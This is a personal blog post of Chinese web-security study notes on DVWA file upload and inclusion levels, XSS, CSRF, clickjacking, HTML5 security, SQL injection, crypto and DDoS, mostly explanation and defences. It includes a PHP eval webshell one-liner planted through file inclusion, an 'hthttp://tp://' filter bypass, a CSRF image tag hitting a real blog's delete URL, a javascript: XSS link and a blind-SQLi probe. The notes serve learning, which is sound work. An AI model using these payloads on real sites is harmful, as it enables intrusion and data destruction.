web安全总结阿航的博客

发表评论
192 次浏览

A+

所属分类：笔记

文件上传漏洞:

low 无验证文件格式，直接上传一句话木马。
medium 限制jpeg格式，浏览器设置代理(本地ip或者其它)，用burp-suite拦截文件上传请求，修改content-type的值。
high 通过文件后缀名来限制上传文件类型。

文件包含漏洞：

本地文件包含(LFI) e.g. ?page=index.php 等等1.low低安全级别：通过edjpgom 工具将<?fputs(fopen("shell20.php","w"),'<?php eval($_POST[yangge]);?>') ?>代码写入图片中，先上传图片再通过文件包含生成shell20.php 文件,菜刀连接此文件获取webshell 。2.medium 中安全级别，会删除http://, 此时需写成hthttp://tp://形式。 3.high 将包含文件名写死。
远程文件包含(RFI) e.g. ？page=/www.baidu.com/var/dvw等。

XSS跨站脚本攻击

本质上是一种“HTML注入”，用户的数据被当成了HTML代码的一部分来执行，从而混淆了原本的语义，产生了新的语义。

反射型XSS
存储型XSS
安全的编码函数

HtmlEncode

将字符转换成HTMLEntities,对应的标准为ISO-8859-1。

JavascriptEncode

与HtmlEncode编码方法不同，需要使用" \ "对特殊字符进行转义。在对抗XSS时，要求输出的变量必须在引号内部。

防御XSS

	HTML标签输出	HTML属性输出	<script>标签输出	事件中输出	CSS中输出	地址中输出
例	`<div>$var</div>`	`<div name="$var"></div>`	`<script> varx="$var"; </script>`	`<a href=# onclick="funcA('$var')">test</a>`	略(P100)	...
防御	对变量使用HtmlEncode	对变量使用HtmlEncode	使用JavascriptEncode	使用JavascriptEncode	禁止用户可控制的变量再`<style>`标签,“HTML标签的style属性”以及“CSS文件”中输出	...

地址中输出

<a href = "$var" >test</a>

构造伪协议实施攻击:

<a href = "javascript:alert(1);" >test</a>

如果变量是整个URL,先检查变量是否以“http”开头，若不是则自动添加。

防御DOM Based XSS

第4章跨站点请求伪造(CSRF)

4.1 CSRF简介

攻击者在自己的域中构造一个页面:

http://www.a.com/csrf.html
内容为:
<img src ="http://blog.sohu.com/manage/entry.do?m=delete&id=156714243" />
地址指向删除博客文章的链接，诱使目标用户访问该页面，图片标签会向服务器发送一次GET 请求，删除文章。

4.2 CSRF进阶

1. 浏览器的cookie 策略

Session Cookie（临时Cookie）
Third-party Cookie (本地Cookie)

2. P3P头

使<iframe>,<script>等标签在IE中不再拦截第三方Cookie的发送。

4.3 CSRF的防御

1. 验证码

2. Referer Check(防止图片盗链)

检查Referer是否合法来判断用户是否被CSRF攻击。

缺陷:服务器并非什么时候都能取到Referer。

3. Anti CSRF Token

在URL尾部新增一个参数Token，要求生成足够随机，使用安全的随机数生成器。
为防止Token通过Referer的方式泄露，应该尽量将其放在表单中。把敏感操作GET改为POST，以form表单(或者ajax)的形式提交。

第5章点击劫持(ClickJacking)

5.1 点击劫持(ClickJacking)

1. 概念

使用一个透明的，不可见的iframe覆盖在网页上，然后诱使用户在网页上操作，通过调整iframe页面的位置，使用户恰好点击在iframe页面的一些功能按钮上。

5.2 Flash点击劫持

5.3 图片覆盖攻击

XSIO(Cross Site Image Overlaying): 利用图片的style,或者能控制CSS。

5.4 拖拽劫持与数据劫持

诱使用户从隐藏的不可见iframe中“拖拽”出攻击者希望得到的数据，然后放到攻击者能控制的另外一个页面中，从而窃取数据。

5.5 TapJacking(触屏劫持）

5.6 防御ClickJacking

1. frame busting

if (top.location != location) {
    top.location = self.location;
}

通过上面代码禁止iframe的嵌套。

缺陷：由于使用JavaScript写的，容易被绕过。

解决该问题最好的方案是使用一个HTTP头。

2. X-Frame-Options

它有三个可选的值

DENY
SAMEORIGIN
ALLOW-FROM origin

当值为DENY时，浏览器拒绝当前页面加载任何frame页面。

若值为SAMEORIGIN，则frame页面的地址只能为同源域名下的页面。

若值为ALLOW-FROM，则可以定义允许frame加载的页面地址。

第6章 HTML5 安全

6.1 HTML5 新标签

1. iframe中的sandbox

<iframe>标签加载的内容被视为一个独立的源，其中的脚本被禁止执行，表单被禁止提交，插件被禁止加载，指向其它浏览对象的链接也会被禁止。
sandbox有以下几个属性
allow-same-origin: 允许同源访问
allow-top-navigation: 允许访问顶层窗口
allow-forms: 允许提交表单
allow-scripts: 允许执行脚本
iframe实例

<iframe sandbox="allow-same-origin allow-forms allow-scripts"
    src="http://......."</iframe>

2. Link Types: noreferre

<a href="xxx" rel="noreferrer" >test</a>

标签指定了noreferrer后，浏览器在请求该标签的地址后不再发送Referer。

3. Canvas

6.2 其它安全

1. Cross-Origin Resource Sharing

Origin Header 用于标记HTTP发起的“源”，服务器端通过识别这个来判断浏览器的请求是否来自一个合法的“源”。

2. postMessage-跨窗口传递消息

postMessage允许每一个window对象往其他的窗口发送文本消息，从而实现跨窗口的消息传递。该功能不受同源策略限制。

3. Web Storage

就像一个非关系型数据库，由Key-Value对组成，使用方法为:

设置一个值: window.sessionStorage.setItem(key,value); 读取一个值:
window.sessionStorage.getItem(key);

Session Storage，关闭浏览器就会失效。
Local Storage，数据会一直存在。

第7章注入攻击

7.1 SQL注入

注入攻击的的两个条件:

用户能够控制数据的输入。
原本要执行的代码拼接了用户的输入。

1. 盲注

盲注验证：构造简单的条件语句，根据返回页面是否发生变化，来判断SQL语句是否得到执行。
http://newspaper.com/items.php?id=2 and 1=2

2. Timing Attack

利用BENCHMARK()

加密算法与随机数

加密算法的选择和使用上小结：

不要使用ECB模式
- ECB每个分组之间相互独立
- 缺陷：只需对调任意分组的密文，在经解密后所得明文的顺序也是经过对调的。
不要使用流密码(例如RC4)
使用HMAC-SHA1代替MD5(甚至代替SHA1)
不要使用相同的key做不同的事情
salts与IV需要随机产生
不自己实现加密算法，尽量使用安全专家已经实现好的库
不依赖系统的保密性

DDOS简介

又称分布式拒绝服务。

主要有SYN flood，UDP flood，ICMP flood等等。

SYN flood 攻击过程

首先伪造大量的源IP地址(伪造地址)，向服务端发送大量的SYN包。
服务器端返回SYN/ACK包，而伪造的IP并不会应答，服务器端收不到伪造IP的回应，会重试3~5次并等待一个SYN Time的时间。
攻击者大量发送这种请求，服务器就会消耗很多的资源，最后导致正常请求无法完成，拒绝服务。

对抗方法

SYN Cookie：为每一个IP地址分配一个"Cookie"，统计每个IP地址的访问频率，若短时间内接受大量来自同一IP地址的数据包，则认为受到了攻击并将来自这个地址的包丢弃。

应用层拒绝服务攻击

应用层DDOS

CC攻击（Challenge Collapasar）

原理：对一些消耗资源较大的应用页面不断发起正常的请求，以达到消耗服务端资源的目的。

应对策略：在应用中针对每个"客户端"做一个请求频率的限制，即通过IP地址和Cookie定位客户端，若请求频繁，则将所有请求都定位到一个出错页面。

该策略的缺陷：攻击者使用大量的代理服务器或者傀儡机来隐藏真实IP地址，不断变换IP地址，就可以绕过服务器对单个IP地址请求频率的限制。